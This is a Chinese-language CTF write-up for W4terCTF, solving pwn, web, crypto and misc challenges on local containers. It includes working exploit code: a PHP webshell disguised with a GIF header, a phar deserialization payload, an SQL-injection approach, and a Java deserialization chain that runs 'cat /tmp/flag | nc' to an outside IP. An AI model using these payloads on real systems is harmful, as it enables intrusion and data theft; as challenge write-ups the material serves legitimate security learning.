年轻人的第一场 CTF ,学到了很多,比较走运拿了第五。最遗憾的是密码学板块了,认真学了不少抽象代数但还是没有做出几题。

rank

队友们:(我起了个整活队名,其实是抄袭另一个叫做 “憧憬成为 CTFer” 的 )

team

# AI

# Network Reverse

网络结构长这样:

Sequential(
  (0): Conv2d(3, 4, kernel_size=(2, 2), stride=(1, 1))
  (1): GELU(approximate='none')
  (2): Conv2d(4, 8, kernel_size=(5, 5), stride=(1, 1))
  (3): GELU(approximate='none')
  (4): MaxPool2d(kernel_size=3, stride=3, padding=0, dilation=1, ceil_mode=False)
  (5): Linear(in_features=412, out_features=1848, bias=True)
  (6): Conv2d(8, 1, kernel_size=(1, 1), stride=(1, 1))
  (7): Tanh()
)

首先,卷积和池化层只会在图像中的一个较小的局部内用某种方式抹一把,并不会比如说把 W 的上半部分丢到另一个地方去,不会破坏可辨识的字体形状,所以卷积和池化层可以直接当做不存在。

第一层 atan() 没有难度,第三层给 weight 求个逆即可逆向:

def reverse(ts):
    ts = torch.atanh(ts)
    C = ts
    A = net[5].weight.transpose(1, 0)
    ts = C @ torch.pinverse(A)
    return ts

上面这个函数逆向出来长这样:

network-reverse1

感觉行之间的梯度非常小,不如来个竖直方向的锐化滤波器试试?

mat = np.array(reverse(tensor).detach().numpy()[0])
kernel = np.array([[0, -1, 0], [0, 0, 0], [0, 1, 0]], dtype=np.float32)
filtered = cv2.filter2D(mat, -1, kernel)
plt.imshow(filtered, cmap='gray')

network-reverse2

啊?

# Pwn

# Remember It 0

签到题,自动化脚本获取 flag:

ipynb
from pwn import *
p=remote('127.0.0.1', 50184)
for i in range(10):
    p.recvuntil("Your choice: ", drop=False)
    p.send("1\n")
    p.recvuntil(": ", drop=False)
    x = p.recvuntil("\x08", drop=False)
    p.recvuntil("plz input your answer\n", drop=False)
    x = x[:-1].decode('utf-8') + '\n'
    p.send(x)
p.send("cat flag\n")
flag = p.recvuntil("}", drop=False)
print(flag)

W4terCTF{THOU9h_l_Hav3_tO_SAy_g0oD8y3~}

# Remember It 1

无保护,可以栈溢出。

Remember-It-1-1

read 一次读 32 字节,缓冲区有 10 * 32 字节,按理来说只有十轮游戏就不会越界,然而并没有超过十轮退出游戏的逻辑,十轮之后可以接着下一轮,这时读到的东西就越过缓冲区了。

比较菜,没用明白 pwntools ,是手搓十六进制编辑器作为输入,开着 gdb 一点一点试出来的。payload 如下:

Remember-It-1-2

前面是一堆 1\nAAAABBBB...\n 用来跳过前十轮,第十一轮读指针已经位于栈顶附近,把 FEE1DEAD 的地址 0xB61840 放在 $rbp 指向的位置,然后用垃圾填满 32 字节结束本次 read ,下一轮选 4 退出游戏, main 返回,就会到达 FEE1DEAD

# 2048

ISTG 我真的只是随便敲了一坨输入进去,然后直接弹了句 sh: 1: xxxxxx: not found 给我整不会了。

下面是可以稳定 getshell 的 payload:

2048

# Web

# GitZip

重新做了一遍:

gitzip1

漏洞大概是这里:

gitzip2

要把 ./ 都用 % 编码才能过, / 也要编码是我没想到的,大概是针对每一层 / 的处理会包含一些奇怪的特殊步骤,需要把 / 编码掉来跳过这些步骤,让完整的路径字符串直达 req.params.htmlname

# ASHBP

查看源代码,首先全局搜索 flag ,马上就找到可以直接得到 flag 的 get_flag 函数:

download.php
<?php
function get_flag()
{
    return file_get_contents(rsa_decrypt($_POST['flag']));
}
?>

同时在 init.sh 中可以看到 flag 的位置:

init.sh
#!/bin/sh
echo $GZCTF_FLAG > /tmp/flag
chmod 444 /tmp/flag
unset GZCTF_FLAG
base64 /var/www/html/src/rsa.pem > /var/www/html/src/rsa_base64.pem
base64 /var/www/html/src/rsa_pub.pem > /var/www/html/src/rsa_pub_base64.pem
php-fpm -D
nginx -g 'daemon off;'

flag 位置为 /tmp/flag

全局搜索 get_flag 找到调用该函数的地方:

admin.php
......
<?php
include("rsa.php");
include("download.php");
if($_POST['cre']){    
    if(rsa_decrypt($_POST['cre'])!='admin'){
        echo "凭据无效!";
    }
    else{
        echo get_flag();
    }
}
?>

查看 rsa_decrypt 解密的逻辑:

rsa.php
function rsa_decrypt($endata){
    // 私钥解密
    $private_key = openssl_pkey_get_private(file_get_contents(PRIVATE_PATH));
    if(!$private_key){
        die('私钥不可用');
    }
    $return_de = openssl_private_decrypt(base64_decode($endata), $decrypted, $private_key);
    if(!$return_de){
        return('解密失败,请检查RSA秘钥');
    }
    return $decrypted;
}

下载公钥 rsa_pub.pem ,RSA 加密后再 base64 加密 admin/tmp/flag ,分别作为 creflag , POST 获取 flag :

hack.sh
export cre=$(echo admin | openssl rsautl -encrypt -inkey rsa_pub.pem -pubin | base64)
export flag=$(echo flag | openssl rsautl -encrypt -inkey rsa_pub.pem -pubin | base64)
curl -X POST -F "cre=$cre" -F "flag=$flag" http://127.0.0.1:50741/admin.php

W4terCTF{Unl0ck_7he_sECreTs_O1_tHE_s1MPle_hOMEw0rk_SUbm1Ssion_PLATfoRM}

# User Manager

r.GET("/users", func(c *gin.Context) {
        var users []User
        orderBy := c.Query("order_by")
        if orderBy == "" {
            orderBy = "id asc"
        }
        db.Order(orderBy).Find(&users)
        for i := range users {
            users[i].Secret = "hidden www~~"
        }
        c.JSON(http.StatusOK, users)
    })

这里 orderBy 直接来自用户输入,而 GORM 文档写道:

user-manager

安全 | GORM - The fantastic ORM library for Golang, aims to be developer friendly.

看起来 db.Order(string) 会把 string 直接拼在 SQL 语句的 ORDER BY 后面,于是加了个 ; ,在后面注入了一句 UPDATE ,把所有用户的 name 改为自己的 secret ,下一次直接 GET 即可从用户的 name 字段拿到 flag。

# PNG Server

php.ini 中存在漏洞:

php.ini
cgi.fix_pathinfo = 1

这个设置会导致所请求的 .php 文件不存在就会跳到上一层的路径查找文件,比如说 http://....../.php ,那么就可以确定我们需要上传一个 php 文件

源代码中用 isImage 来判断上传文件是否为图片,这里的检查非常随便,存在漏洞:

index.php
function isImage($imgPath)
{
    $file  = fopen($imgPath, "rb");
    $bin  = fread($file, 2);
    fclose($file);
    $strInfo = unpack("C2chars", $bin);
    $typeCode = intval($strInfo['chars1'] . $strInfo['chars2']);
    $fileType = '';
    if ($typeCode == 255216 || $typeCode == 7173 || $typeCode == 13780) {
        return $typeCode;
    } else {
        return false;
    }
}

只需要在 php 木马前加上 GI ( 2 个字节对应 7173 )就可以通过检查,写一个返回 flag 的 php 木马:

shell
GI<?php
$currentDirectory = realpath(dirname(__FILE__));
$flag_path = realpath($currentDirectory . '/../../../../../flag');
$flag = fopen($flag_path , 'r');
if ($flag) {
    $content = fread($flag, filesize($flag_path));
    echo $content;
    fclose($flag);
} else {
    echo "无法打开文件 $filename";
}
?>

然后上传该文件,文件已经被改名为了 md5 随机码,F12 找到该文件的 url :

LRhQcpyB2oZPMkq

然后在该 url 后面加上 /.php 就可以执行该 php 木马:

t6FA2a8iX9OwGog

W4terCTF{uPL04Ds_ar3_0UR_vlC3_RCE_WwwWWw}

# Auto Unserialize

首先在盲目找线索的阶段我是用 GET 方法得到 flag 的位置的:

shell
curl "http://127.0.0.1:54018/?img_file=../../../flag"
# Return Success

直到我看到了参考资料:reference

首先可能先需要:

shell
php --ini

找到 php.ini 加上这一行:

php.ini
phar.readonly = Off;

构造 payload phar.phar 文件用的 phar_gen.php

phar_gen.php
<?php
    class command_test{
        public $command = "echo file_get_contents('../../../flag');";
        public function __destruct(){
            eval($this->command);
        }
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置 stub, 增加 gif 文件头,伪造文件类型
    $o = new command_test();
    $phar->setMetadata($o); // 将自定义 meta-data 存入 manifest
    $phar->addFromString("test.txt", "test"); // 添加要压缩的文件
    // 签名自动计算
    $phar->stopBuffering();
?>

运行脚本生成 payload phar.phar 文件,上传该文件,最后 GET 请求获取 flag ::

shell
php phar_gen.php
curl -X POST -F "file=@phar.phar" http://127.0.0.1:54018/
curl "http://127.0.0.1:54018/?img_file=phar://check.jpg/test.txt"

W4terCTF{uNsErl4I1z3_tH3_pH4r_ArCh1v3_TO_ReveAl_tHE_hIDdEn_tREASUrE_OF_7h3_Php_5Erver}

# Just ReadObject

先贴 payload:

突破口是队友查到的一个比较有名的案例:Java 的优先队列序列化的时候,会把元素一个一个 add 进去,而 add 需要元素之间的比较。如果优先队列初始化时指定了比较器,会直接调用比较器的 compare 方法。

参考:ysoserial/src/main/java/ysoserial/payloads/CommonsCollections7.java at b7d0f27b46af06bbced7dbafddc49678179d3708 · frohoff/ysoserial · GitHub

而 jar 包里有个 W4terTransformingComparator ,它实现了 Comparator ,可以作为优先队列的比较器,并且它的 compare 方法非常的狂野:

public int compare(Object obj1, Object obj2) {
       // ...
       value1 = this.transformer.transform(obj1);
       Object value2 = this.transformer.transform(obj2);
       return this.decorated.compare(value1, value2);
   }

大概就是会调用两个比较对象的 transform 方法,然后呢这个类还有个 decorated 字段,类型是这个类自己,上面两个 transform 调用完,会接着调用 decoratedcompare 方法,相当于一个 W4terTransformingComparator 类型的链表。

那对于 transformer 呢,jar 包里还有一个 W4terInvokerTransformer ,这个更狂野,它有这三个字段:方法名,参数类型定义列表,参数列表。这几个字段在序列化过程就可以完成加载。

而它的 transform(Object obj) 方法,会直接根据上面的三个参数, invoke 这个 obj 的指定方法。

所以可以用它构造一个优先队列,指定比较器为这么一个比较器链表,每一级比较器都可以对 obj 用任意参数执行任意方法,并且优先队列里的元素也可以自己塞。

首先想到的是 Runtime.getRuntime().exec(cmd) ,由于 Runtime 是不可序列化的运行时 context,需要用反射获取,我们的方法是 Class.class.forName("java.lang.Runtime")

也就是说优先队列里要先塞个 Class.class ,然后把上面的调用链拉成 W4terTransformingComparator 的链表即可。payload 如下:

Comparator comp_empty = new W4terComparator();
        W4terTransformer trans_for_name = 
        W4terInvokerTransformer.invokerTransformer(
            "forName", 
            new Class[] {String.class}, 
            new Object[] {"java.lang.Runtime"}
        );
        W4terTransformer trans_get_method = 
        W4terInvokerTransformer.invokerTransformer(
            "getMethod",
            new Class[] {String.class, Class[].class}, 
            new Object[] {"getRuntime", null}
        );
        W4terTransformer trans_exec = 
        W4terInvokerTransformer.invokerTransformer(
            "exec",
            new Class[] {String[].class}, 
            new Object[] {new String[]{
                "sh","-c","cat /tmp/flag | nc 172.18.198.218 6666"
            }}
        );
        W4terTransformer trans_invoke = 
        W4terInvokerTransformer.invokerTransformer(
            "invoke",
            new Class[] {Object.class, Object[].class}, 
            new Object[] {null, null}
        );
        W4terTransformingComparator comp_final = 
            new W4terTransformingComparator(
                trans_for_name,
                new W4terTransformingComparator(
                    trans_get_method,
                    new W4terTransformingComparator(
                        trans_invoke,
                        new W4terTransformingComparator(
                            trans_exec,
                            comp_empty
                        )
                    ))
            );
        PriorityQueue<Class> pq = 
            new PriorityQueue<Class>(comp_final);
        pq.add(Class.class);
        pq.add(Class.class);
        serialize(pq, "hack.obj");

本地开 nc 监听 6666 端口,然后上传 hack.obj 即可立刻收到 flag。

# Crypto

# Smoke hints

从 task.py 可以得到以下信息

以下将 hint1~hint5 简写为h1h5h_1 -h_5

  • h1h_1 是随机生成的 18 位素数

  • h2=(h12)!e%h1h_2=(h_1-2)!e\%h_1

  • h3=p2256h_3=\lfloor\frac{p}{2^{256}}\rfloor

  • h_4=d\%2^

  • h5=x2p+y2qh_5=x^2p+y^2q

还给了 n 和 c

已知114514x211680542514y2+1919810=2034324114514 x^2 - 11680542514 y^2 + 1919810 = 2034324

化简后得到x2102001y2=1x^2-102001y^2=1

使用下面的脚本求得 x 和 y 的值

import math
def solvePell(n):
    x = int(math.sqrt(n))
    y, z, r = x, 1, x << 1
    e1, e2 = 1, 0
    f1, f2 = 0, 1
    while True:
        y = r * z - y
        z = (n - y * y) // z
        r = (x + y) // z
        e1, e2 = e2, e1 + e2 * r
        f1, f2 = f2, f1 + f2 * r
        a, b = f2 * x + e2, f2
        if a * a - n * b * b == 1:
            return a, b
for n in [102001]:
    x, y = solvePell(n)
    print("x^2 - %3d * y^2 = 1\nx = %27d\n y = %25d" % (n, x, y))

根据

{x2p+y2q=h5pq=n\begin{cases} x^2p+y^2q=h_5\\ pq=n \end{cases}

得到

y2q2h5q+nx2=0y^2q^2-h_5q+nx^2=0

q=h5±h524nx2y22y2q=\frac{h_5\pm\sqrt{h_5^2-4nx^2y^2}}{2y^2}

得到的 q 有两个解,仅保留整数解,然后根据p=nqp=\frac nq 得到 p

现在得到了 pq, 只需要 e 就能求得私钥 d

因为题目没有直接提供 e, 所以这里需要亿点点枚举

已知 e 是一个 36 位的素数,枚举时使用 getPrime() 获得

它需要满足以下条件

  • GCD(e, (p - 1) * (q - 1)) == 1 and e < (p-1)*(q-1)
  • ( reduce(lambda x, y: x * y, range(1, h1 - 1)) * e) % h1 == h2 (用到 hint1 和 hint2)
  • h4 == d % (2 ** (d.bit_length() // 4)) (用到 hint4)

最终代码如下

from functools import reduce
import gmpy2
from Crypto.Util.number import *
from math import sqrt
import os
h5 = 15237245518187783270118095809520813715956779970121151605236017245281663349927871664089323996437198235332380649056157552139824794588282124241562678460596507994160450297450179528976589398846210519549196888613143426635079434084452257874065484561750625879566967728892028875015732523907566365015585071705383965108584900462347980930243703796275135520452238877712806925535901382203444872746731017403372197551202867519872504341875747056250334169640471053205861370866906946583776837242814046091601932206546117069281206618021968118790407685235602371416190212336628756323090425345962230904747291854448754116455587682431569485503641521272971686704473193019132477953908910849831685148677975221237038065750758015111863632278200747000157187997814194029400697403741838489362003974564359614821068833924840443285823258682774010695163217945524608036622625872746384332883461936945674717452827633809865102717159507550663596896932548991216607522697367537118903992798078936423232478772212951734438159292917127451068031982531631571612297893227345579357245226069692084913823443945826318169121459999393340568902299486793470467510065851569244119435052446898779718050907739373838489841346799589855583093882137549631777101404814967710333142369685932771643559927586884873934944456529776507128155937030841026343151440450761869269196359152094226878375985237603824966654988556567217028134068892779253422300240576637315948429841799367844063885304545920357705733411373493758050263143074535948457
x = 34834945635419823491817566563399234823053176449889821571800075702352062905044231520196782430564993617886316750841220280683153456634693274516582390418863033711415731372881163288179660369032440262647344962570809308551786423557604581792293023628226671539671001863522824415876161727357840363896909435994314597682318687286109212360132261705780761350223208855493439905713509683216585447535669179103840355151676900348955850726834778558748576176596609474037298456423607570516459873639794526160082489103786303332253388597560031538949333472681857144605196440020688999368156212067614295618998719682195870452330682061061500341728481458877113934526003865064359452801
y = 109071911012732502022850422978096246932142152916423367258339958080776017127779842287569032054094868715662547617710798972237860865468979518796870762466053422806566269221859683504667443154145089120448705028998733329483536176859312788275313407342047772524898407149610870586148015013605624329594138230714119704939505401061380777712216157719510271261619101362035144616187262082302740411574934586360516695062056563100258177611076242927354475633328163841594305884855770651187471060662561145818768319723133613889115397679168254599526858767478331211008997427364431641348477558436549415894985022330773540762573918592860707967250624976183104841257499345937186160
n = 162908386409122831644601726291514736982460317787650963552042804694858960756247295016072165050452122566555943647913977051861072784403314058088382494116300030479243222291806345961434419243328825539529128842207242691984718290143482242891139352813626310709638170008858946304550631669011725528861157958853032167147
delta2 = h5**2-4*n*x**2*y**2
delta = gmpy2.iroot(delta2,2)
delta = int(delta[0])
print(delta)
if (h5+delta)%(2*y**2) == 0:
    
    q1=(h5+delta)//(2*y**2)
    print(f"q1 = {q1}")
    
if (h5-delta)%(2*y**2) == 0:
    
    q2=(h5-delta)//(2*y**2)
    print(f"q2={q2}")
if n%q2 == 0:
    p=n//q2
    print(f"p = {p}")
    
q=q2
# 求 e
h1 = 150247
h2 = 102488
h4 = 44535490898726654427376304836986323627856798106830892558987452614726931403119
print(f"q={q}")
tmp = reduce(lambda x, y: x * y, range(1, h1 - 1))
while True:
    e = getPrime(36)
    if GCD(e, (p - 1) * (q - 1)) == 1 and e < (p-1)*(q-1) and ( tmp * e) % h1 == h2:
        print(f"maybe e={e}")
        d=gmpy2.invert(e, (p - 1) * (q - 1))
        print(f"maybe d={d}")
        nh4 = d % (2 ** (d.bit_length() // 4))
        if nh4 == h4:
            break
print("success")
print(f"e={e}")
print(f"d={d}")

开 8 个线程运行一晚上,成功枚举到正确的 e, 并得到 d

使用下面的脚本,根据私钥解密密文,得到 flag

from Crypto.Util.number import long_to_bytes
e = 36905723839
d = 66781150190539205038154636873316650284846375610597564467113301562207220876080997654261761651771185773920764536611596660709696442562219146865775186656742157829910073552979854383590613522355255045862718785890708775548436159002198598103886840865569957379996409759081212055357149668774721007823047658341778542959
n = 162908386409122831644601726291514736982460317787650963552042804694858960756247295016072165050452122566555943647913977051861072784403314058088382494116300030479243222291806345961434419243328825539529128842207242691984718290143482242891139352813626310709638170008858946304550631669011725528861157958853032167147
c = 33087238461387318335074410411142790336660168200231648518849044049333308060938917518277424800358623613184976785426565004507278568420843160272353164463818453523209164535111619601021121321114970839731250362111118957833038271450092546392532900928613625992384890463665974527179679504545602403023570778993190377708
m=pow(c,d,n)
print(long_to_bytes(m))

W4terCTF{W47cH_oUT_7He_Smok3_hIn75_1ROM_wll5oN}

# Wish

查看源代码,看到确定抽取结果的逻辑:

app.py
def generate_wish(time, index):
    random.seed(time)
    probability = 0
    for _ in range(index):
        diff = min(abs(random.randint(0, 1919810) - 114514), 10000)
        probability = 100 * (0.1) ** diff
    app.logger.info(
        f'probability: {probability}, time: {time}, index: {index}')
    if int.from_bytes(os.urandom(1), 'little') % 100 + 1 <= probability:
        return "flag"
    else:
        characters = string.ascii_letters + string.digits
        return ''.join(random.choice(characters) for _ in range(4))

发现是利用 time 作为伪随机数序列的初始化种子,要想抽出 flag ,需要 probability 尽可能地大,那么 index 只能取 1abs(random.randint(0, 1919810) - 114514) 的值只能为 01 ,所以据此爆破出一个可行的 time

pwn_time.py
r = 24*60*60
for i in range(r):
    random.seed(i)
    if abs(random.randint(0, 1919810) - 114514) <= 1:
        print(i)

得到唯一符合目标的结果: time=20544 ,然后就是真的抽 flag :

shell
curl -X GET -H "Content-Type:application/octet-stream" http://127.0.0.1:52829/query_reset
# 获取 3 次 wish 机会
curl -X POST -H "Content-Type: application/json" -d '{"time":20544,"index":1}' http://127.0.0.1:52829/wish
# 抽 flag

W4terCTF{Crack_insteal_of_wish_the_seed_d0ab21251107}

即使这样还抽了十几次才出 flag , 好黑的池子!

# Misc

# Sign In

排行榜

# broken.mp4

按照 record_1.mp4 的指引,找到了文章链接

https://blog.csdn.net/NDASH/article/details/136151418

按照文章指引,去 https://github.com/anthwlock/untrunc/releases/tag/latest 下载所需的软件,选择 untrunc_x64

运行 untrunc-gui , reference file 选 record_1.mp4 , truncated file 选 record_2.mp4

brokenmp4

这样就能得到 record_2.mp4 的修复版,在视频结尾能找到 flag

W4terCTF{L1fe_is_5h0rT_so_i_Us3_MKV_248DF3C}

# Shuffle Puts

启动容器,从浏览器访问,可以下载一个文件 meow

执行下面的命令查看文件中所有字符串

strings .\meow

在输出中可以找到 flag

W4terCTF{sHUFF1e_5hufF1e_FLA6_MEOWmeOWm30W}

# Revenge of Vigenere

这题的加密是维吉尼亚密码的一个变种

连接容器后,只能获得加密后的密文

解决思路是如果知道原文的一个片段,而且知道完整的密文,可以尝试倒推 KEY。

原文中存在 W4terCTF 是确定的,可以据此倒退 KEY

运行下面的代码,根据已知的明文 W4terCTF 和密文 Q4doySZB , 尝试推出密钥的其中连续 7 位

from pwn import remote
while True:
    recv = 'Vqcvh! Pd beoq, m bhkhbu bxohuowrlkux fljknkh, oufr bysgocsklze au vydo loydcy uab bybrxcr rr hne xcmsziopexqm bd Lqjk. Qbmi Owyaiy, xy tuxa Fyzyrp uv Lgkcxo, bg ot Xycdpwk kp nty Imd fevrfm, dhk Baeuxd, Cqtecbqx, nq zxu ukwi Lbhgl Xisml el pry Hyegyycoicxkws toy Poxlhgpom ibnr zxue lhgu Owrihcon. Oecafyd, nugy Lqrllskl Josknkdpet kp u ns-tmtu Lkuuxyhb, ytchnc Cybepcqx, nlj xqy Siauw hu Vchaepin pryey Ictqb gkx Zykirepn Foycoj fuzahyxt-ytd Pmsx otd Xiemoigbshs nuc Byerbhxbr Jockiec hdj Rylmwvmai Lolfejbct oh Pyvpjokx. Uycqqz jxop Pshmsd oh Pobieyeds, m Prgrut Bbmxyzs uf Xcxnpsgpsiz yzcxwuy: x Pehbohlg Q4doySZB{lYzyNRN_Jx3_sXMo_lBU3T3RG_5NBvR3I_84Ig_GcFB_i3L934ts3}, okq Pmltqoowm Fojjun pid Pvazehe. Qbi egze Vglnsjj oo Fyzarytsu; g Syrtxhza, jyvn hi g Rynupr, luj yt Sumd, ycx tjy Fkskk wxx Hyeyiyje lz wkvv yhcfv yuu jwi Puhqgiqjk qbi Lbuolchd kut zdo Pulgsuki. Bblmbr, hniu Psmooyoycey bd Buhhfuku Oskru gyca Lknliey, lcz myzecr ymg Bonowoz boac nty Ighhqtq Psyvs uf Xuvskqzeyh. Uh gfoi Lkfh, mj bg sy Xybi neuz rizie ru cukq ssk tbj yqo wkf sghv gq P.'
    #
    # print(recv)
    # print(len(recv))
    index = 0
    idx_arr=[]
    for ch in recv:
        if ch.isalpha():
            idx_arr.append(index)
            index += 1
        else:
            idx_arr.append(0)
    # print(idx_arr)
    start = 609
    # start = 0
    min = 'W4terCTF'
    def test(start, min):
        for i,x in enumerate(min):
            if not x.isalpha():
                continue
            mi_i = start + i
            mi = recv[mi_i]
            mi_idx=idx_arr[mi_i]
            if x.isupper():
                base = ord('A')
            else:
                base = ord('a')
            val = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
            for v in val:
                if (mi_idx+1)%2 == 1 and (ord(x)-base+mi_idx*(ord(v)-65))%26 == ord(mi)-base or (mi_idx+1) % 2 != 1 and (ord(x)-base-mi_idx*(ord(v)-65)) % 26 == ord(mi)-base:
                    print(v, end=' ')
            print(f'\n{x},{mi},{mi_idx}')
            print('')
    test(start,min)
    print('-------------')
    start=0
    min='Hello'
    # test(start,min)
    break

运行结果如下,为密钥其中连续七位可能的取值,每一位可能会出现多种取值,所以有些行有两个字母

K X 
W,Q,496
O 
t,d,497
J W
e,o,498
J
r,y,499
H U
C,S,500
O
T,Z,501
G T
F,B,502

然后,利用下面的代码,用部分密钥尝试还原出原文

因为只知道密钥的一部分,所以只能还原原文的一些片段。具体的操作为,考虑到密钥的长度在 10 和 20 之间,枚举密钥的长度,对于每个枚举,根据 Q4doySZB 在密文中的位置推算已知密钥片段在密钥中的位置

另外,考虑到密钥已知部分的每一位都可能有多种取值,还需要用回溯法枚举所有可能的密钥片段,可能性只有 16 种,数量不是很大

import random
recv = 'Vqcvh! Pd beoq, m bhkhbu bxohuowrlkux fljknkh, oufr bysgocsklze au vydo loydcy uab bybrxcr rr hne xcmsziopexqm bd Lqjk. Qbmi Owyaiy, xy tuxa Fyzyrp uv Lgkcxo, bg ot Xycdpwk kp nty Imd fevrfm, dhk Baeuxd, Cqtecbqx, nq zxu ukwi Lbhgl Xisml el pry Hyegyycoicxkws toy Poxlhgpom ibnr zxue lhgu Owrihcon. Oecafyd, nugy Lqrllskl Josknkdpet kp u ns-tmtu Lkuuxyhb, ytchnc Cybepcqx, nlj xqy Siauw hu Vchaepin pryey Ictqb gkx Zykirepn Foycoj fuzahyxt-ytd Pmsx otd Xiemoigbshs nuc Byerbhxbr Jockiec hdj Rylmwvmai Lolfejbct oh Pyvpjokx. Uycqqz jxop Pshmsd oh Pobieyeds, m Prgrut Bbmxyzs uf Xcxnpsgpsiz yzcxwuy: x Pehbohlg Q4doySZB{lYzyNRN_Jx3_sXMo_lBU3T3RG_5NBvR3I_84Ig_GcFB_i3L934ts3}, okq Pmltqoowm Fojjun pid Pvazehe. Qbi egze Vglnsjj oo Fyzarytsu; g Syrtxhza, jyvn hi g Rynupr, luj yt Sumd, ycx tjy Fkskk wxx Hyeyiyje lz wkvv yhcfv yuu jwi Puhqgiqjk qbi Lbuolchd kut zdo Pulgsuki. Bblmbr, hniu Psmooyoycey bd Buhhfuku Oskru gyca Lknliey, lcz myzecr ymg Bonowoz boac nty Ighhqtq Psyvs uf Xuvskqzeyh. Uh gfoi Lkfh, mj bg sy Xybi neuz rizie ru cukq ssk tbj yqo wkf sghv gq P.'
# recv = 'Q4doySZB'
# from secret import original_text
# print(original_text)
start = 496
def decrypt_vigenere_variant(plaintext, key):
    key_index = 0
    key_length = len(key)
    text_index = key_index
    for char in plaintext:
        if char.isalpha():
            if key[key_index % key_length] == '?':
                print('?',end='')
                key_index += 1
                text_index += 1 
                continue
            key_char = key[key_index % key_length].upper()
            key_offset = ord(key_char) - 65
            if char.isupper():
                base = ord('A')
            else:
                base = ord('a')
            if (text_index + 1) % 2 == 1:
                out = []
                for ori in range(26):
                    if ord(char) == (ori + text_index * key_offset) % 26 + base:
                        out.append(chr(ori+base))
                if len(out) == 0:
                    print('()', end='')
                elif len(out) == 1:
                    print(out[0], end='')
                else:
                    print(out, end='')
            else:
                out = []
                for ori in range(26):
                    if ord(char) == (ori - text_index * key_offset) % 26 + base:
                        out.append(chr(ori+base))
                if len(out) == 0:
                    print('()', end='')
                elif len(out) == 1:
                    print(out[0], end='')
                else:
                    print(out, end='')
            # ciphertext += encrypted_char
            key_index += 1
            text_index += 1
        else:
            print(char, end='')
length = random.randint(10, 20)
arr = [['K', 'X'],
       ['O'],
       ['J', 'W'],
       ['J'],
       ['H', 'U'],
       ['O'],
       ['G', 'T']]
random_key_arr = []
random_key = ''
def try_idx(i):
    global random_key, random_key_arr
    if i == len(arr):
        print(random_key)
        decrypt_vigenere_variant(recv, random_key)
        # print(f'{decrypted}')
        print('\n------------')
        return
    for x in arr[i]:
        random_key_arr.append(x)
        random_key = ''.join(random_key_arr)
        try_idx(i+1)
        random_key_arr.pop(len(random_key_arr)-1)
        # print(random_key)
lkey = len(arr)
for i in range(10,20):
    print(f"len(key)={i}")
    mod = start % i
    old_arr = arr.copy()
    for j in range(mod):
        arr.insert(0,['?'])
    while len(arr) < i:
        arr.append(['?'])
    if len(arr) == i:
        try_idx(0)
    arr=old_arr

运行后的输出比较长,需要人工筛选出合理的,即在里面找到一篇文章,已完全解密的单词都是合法的单词

可以发现,密钥长度为 13 时,大多数已解密的单词都是合法的

密钥为 ??KOWJHOG???? 时解密效果最好,结果为:

??ilx! In vi??, ? ???ble vaud??????an veter??, ???? vicario???? ?? both vic??? ??? villain ?? ??? ?icissit???? ?? Fate. Thi? ?????e, no mere ?????? of Vanit?, ?? ?? ?estige o? ??? ??x populi, ??? ???ant, Vani????, ?? the once ????? ?oice of t?? ????similit??? ??? Venerat?? ???? they onc? ?????ied. Howe???, ???s Valoro?? ????tation o? ? ??-??ne Vexat???, ???nds Vivi????, ??d has Vow?? ?? ??nquish t???? ??nal and V??????t Vermin ??????rd-ing Vi?? ??? ?ouchsaf??? ??? Violent?? ????ous and V??????us Viola???? ?? Volitio?. ?????t this Vo???? ?? Verbosi??, ? ???led Vest??? ?? ?indicat??? ???rges: a Va?????? W4terCTF{??????H_Th3_mASk_???3?3??_5TRlK3S_84Ck_????_?3?934nc3}, yet Vi??????s Vector ??? ???tory. The ???? ??rdict is ??????nce; a Ven?????, ?eld as a V?????, ?ot in Vai?, ??? ??e Value a?? ????city of s??? ???ll one da? ?????cate the ??????nt and th? ?????ous. Veri??, ???? Vichyss???? ?? Verbiag? ????? most Ver????, ??t within ??? ???umes lie? ??? ??brant Vo??? ?? ?alidati??. ?? ??is Vein, i? ?? ?? ?ery good ????? ?o meet yo? ??? ??u may cal? ?? ?.

可以大胆猜测,其中的 Howe???, ???s 原文是 However, this,重复上面的操作,尝试逆推出密钥的另一部分

以下可以复用上面的代码,可以推测更长的密钥片段:

[['K', 'X'],
 ['O'],
 ['J', 'W'],
 ['J'],
 ['H', 'U'],
 ['O'],
 ['G', 'T'],
 ['W'],
 ['C', 'P'],
 ['G'],
]

然后用更长的密钥片段尝试解密原文,筛选出其中有效的如下

密钥为 ??KOWJHOGWPG?

??ilx! In view, a ???ble vaudevi???an veteran, c??? vicariousl? ?? both victim ??? villain by t?? ?icissitude? ?? Fate. This Vi???e, no mere Ven??? of Vanity, is ?? ?estige of th? ??x populi, now ???ant, Vanishe?, ?? the once Vit?? ?oice of the V???similitude ??? Venerates w??? they once Vi???ied. However, ???s Valorous V???tation of a b?-??ne Vexation, ???nds Vivifie?, ??d has Vowed t? ??nquish thes? ??nal and Viru???t Vermin van???rd-ing Vice a?? ?ouchsafing ??? Violently V???ous and Vora???us Violatio? ?? Volition. Am???t this Vorte? ?? Verbosity, a ???led Vestige ?? ?indication ???rges: a Varia??? W4terCTF{bEn???H_Th3_mASk_vIG3?3??_5TRlK3S_84Ck_WiT?_?3?934nc3}, yet Vivac???s Vector for ???tory. The onl? ??rdict is Ven???nce; a Vendet??, ?eld as a Voti??, ?ot in Vain, fo? ??e Value and V???city of such ???ll one day Vi???cate the Vig???nt and the Vi???ous. Verily, t??? Vichyssois? ?? Verbiage Ve??? most Verbos?, ??t within its ???umes lies th? ??brant Voice ?? ?alidation. I? ??is Vein, it is ?? ?ery good hon?? ?o meet you an? ??u may call me ?.

继续重复上面的操作 1-2 次,得到真正的密钥和原文

密钥 BYKOWJHOGWPGG

